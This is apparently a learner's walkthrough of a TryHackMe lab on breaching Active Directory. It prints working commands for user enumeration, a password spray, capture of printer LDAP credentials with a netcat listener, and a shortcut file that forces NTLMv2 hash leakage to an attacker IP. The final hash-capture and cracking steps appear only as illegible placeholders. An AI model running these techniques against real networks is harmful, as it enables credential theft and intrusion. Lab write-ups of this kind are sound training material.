

TryHackMe — Intro to Active Directory: Breaching AD

TryHackMe — Intro to Active Directory: Breaching AD

Write-up: <https://tryhackme.com/room/introductiontoactivedirectorybreaching>

I familiarized myself with the network topology and configured DNS. Now I can move on to reconnaissance.

Using **kerbrute**, I enumerated the domain users:

```
└─$ ./kerbrute_linux_386 userenum -d thm.loc --dc 192.168.12.100 usernames-1777830419734.txt
Kerbrute
Version: v1.0.3 (9dad6e1) - 07/12/26 - Ronnie Flathers @ropnop
2026/07/12 06:08:38 > Using KDC(s):
2026/07/12 06:08:38 > 192.168.12.100:88
2026/07/12 06:08:38 > [+] VALID USERNAME: mary.jenkins@thm.loc
2026/07/12 06:08:38 > [+] VALID USERNAME: ben.carter@thm.loc
2026/07/12 06:08:38 > [+] VALID USERNAME: claire.ross@thm.loc
2026/07/12 06:08:38 > [+] VALID USERNAME: administrator@thm.loc
2026/07/12 06:08:39 > [+] VALID USERNAME: phillip.green@thm.loc
2026/07/12 06:08:39 > [+] VALID USERNAME: emma.clark@thm.loc
2026/07/12 06:08:39 > [+] VALID USERNAME: ryan.patel@thm.loc
2026/07/12 06:08:39 > [+] VALID USERNAME: james.wilson@thm.loc
2026/07/12 06:08:39 > [+] VALID USERNAME: laura.wood@thm.loc
2026/07/12 06:08:39 > [+] VALID USERNAME: sarah.jones@thm.loc
2026/07/12 06:08:39 > [+] VALID USERNAME: kevin.shah@thm.loc
2026/07/12 06:08:39 > [+] VALID USERNAME: anna.lee@thm.loc
2026/07/12 06:08:39 > [+] VALID USERNAME: mike.brown@thm.loc
2026/07/12 06:08:39 > [+] VALID USERNAME: john.harris@thm.loc
```

In total I managed to find 42 domain usernames. The usernames consist of two parts: first name and last name.

Next, digging through the company's git repository, I found credentials for user **svc.jenkins** in the commit history:

```
3 + APP_SECRET_KEY=
4 + ONBOARDING_PASSWORD=
5 - user = svc.jenkins
6 - password = Jen5kins2025!
7 + user = ${DB_USER}
8 + password = ${DB_PASSWORD}
9 [app]
```

In the same place I also found a default password:

```

12 12
13 13 [deployment]
14 14 environment = production
15 15 server = webapp.megacorp.thm
16 16 - default_password = MegaCorp01!
16 16 + default_password = ${ONBOARDING_PASSWORD}

```

I figured this password could be used in a password-spraying attack (trying it against every user).

First, I created a list of clean usernames without the domain prefix. Then, using the **NetExec** tool, I ran a password spray over the SMB protocol:

```

(kali@kali)-[~/AD/ad_breach]
$ nxc smb 192.168.12.100 -u clean_users.txt -p 'MegaCorp01!' --continue-on-success
SMB 192.168.12.100 445 RDC1 [-] Windows 10 / Server 2019 Build 17763 x64 (name:RDC1) (domain:thm.loc) (signing:True) (SMBv1:False)
SMB 192.168.12.100 445 RDC1 [-] thm.loc\dev.intern:MegaCorp01! STATUS_LOGON_FAILURE

```

Result:

```

SMB 192.168.12.100 445 RDC1 [-] thm.loc\kate.miller:MegaCorp01! STATUS_LOGON_FAILURE
SMB 192.168.12.100 445 RDC1 [+] thm.loc\dev.intern:MegaCorp01!
SMB 192.168.12.100 445 RDC1 [-] thm.loc\lucy.powell:MegaCorp01! STATUS_LOGON_FAILURE
SMB 192.168.12.100 445 RDC1 [-] thm.loc\alex.foster:MegaCorp01! STATUS_LOGON_FAILURE
SMB 192.168.12.100 445 RDC1 [-] thm.loc\sam.morgan:MegaCorp01! STATUS_LOGON_FAILURE
SMB 192.168.12.100 445 RDC1 [-] thm.loc\chris.baker:MegaCorp01! STATUS_LOGON_FAILURE
SMB 192.168.12.100 445 RDC1 [-] thm.loc\sophie.hall:MegaCorp01! STATUS_LOGON_FAILURE
SMB 192.168.12.100 445 RDC1 [-] thm.loc\olivia.hunt:MegaCorp01! STATUS_LOGON_FAILURE
SMB 192.168.12.100 445 RDC1 [-] thm.loc\peter.davies:MegaCorp01! STATUS_LOGON_FAILURE
SMB 192.168.12.100 445 RDC1 [+] thm.loc\alice.moore:MegaCorp01!

```

The password matched two users.

In Active Directory, many network devices integrate via LDAP, and this network is no exception. In the printer's web interface, you can replace the IP and port with your own. When the device tries to connect or check connectivity, it performs an LDAP Bind procedure and sends its own stored domain credentials directly to my listener.

LDAP Server Configuration

Configure the LDAP directory server used for user authentication, address book lookups, and scan-to-email recipient resolution.

LDAP Server Address

IP address or hostname of the LDAP directory server.

LDAP Port

Default: 389 (LDAP) or 636 (LDAPS).

```

(kali@kali)-[~/AD/ad_breach]
$ nc -lvp 5000
listening on [any] 5000 ...
connect to [192.168.21.8] from (UNKNOWN) [192.168.12.71] 34388
0G`B-CN=svc.ldap,OU=Service Accounts,DC=thm,DC=loc*PrIntBind2025!

```

As a result, I obtain yet another set of credentials, but unfortunately they are not active:

```

(kali@kali)-[~/AD/ad_breach]
$ nxc smb 192.168.12.100 -u 'svc.ldap' -p 'PrIntBind2025!'
SMB 192.168.12.100 445 RDC1 [-] Windows 10 / Server 2019 Build 17763 x64 (name:RDC1) (domain:thm.loc) (signing:True) (SMBv1:False)
SMB 192.168.12.100 445 RDC1 [-] thm.loc\svc.ldap:PrIntBind2025! STATUS_ACCOUNT_DISABLED

```

I can try one more attack — File-Based Coercion. This is a Windows forced-authentication attack that makes the system automatically hand over its NTLMv2 hash when trying to load a shortcut icon from a network resource controlled by the attacker.

I create a file where I set my own IP in the IconFile parameter, and drop it onto SMB:

```
(kali㉿kali)-[~/AD/ad_breach]
└─$ cat > @Shortcut.url << 'EOF'
[InternetShortcut]
URL=http://thm.loc
WorkingDirectory=thm
IconFile=\\192.168.21.8\icons\icon.ico
IconIndex=1
EOF
```

```
(kali㉿kali)-[~/AD/ad_breach]
$ smbclient //SERVER1.thm.loc/shared-docs -U 'THM\alice.moore%MegaCorp01!'
Try "help" to get a list of possible commands.
smb: \> put @Shortcut.url
putting file @Shortcut.url as \ad\Shortcut.url (0.1 kb/s) (average 0.1 kb/s)
smb: \> exit
```

I start Responder on the **tun0** network interface and wait for the victim to click the file — then I'll receive their hash:

[illegible]

Then I crack it:

[illegible]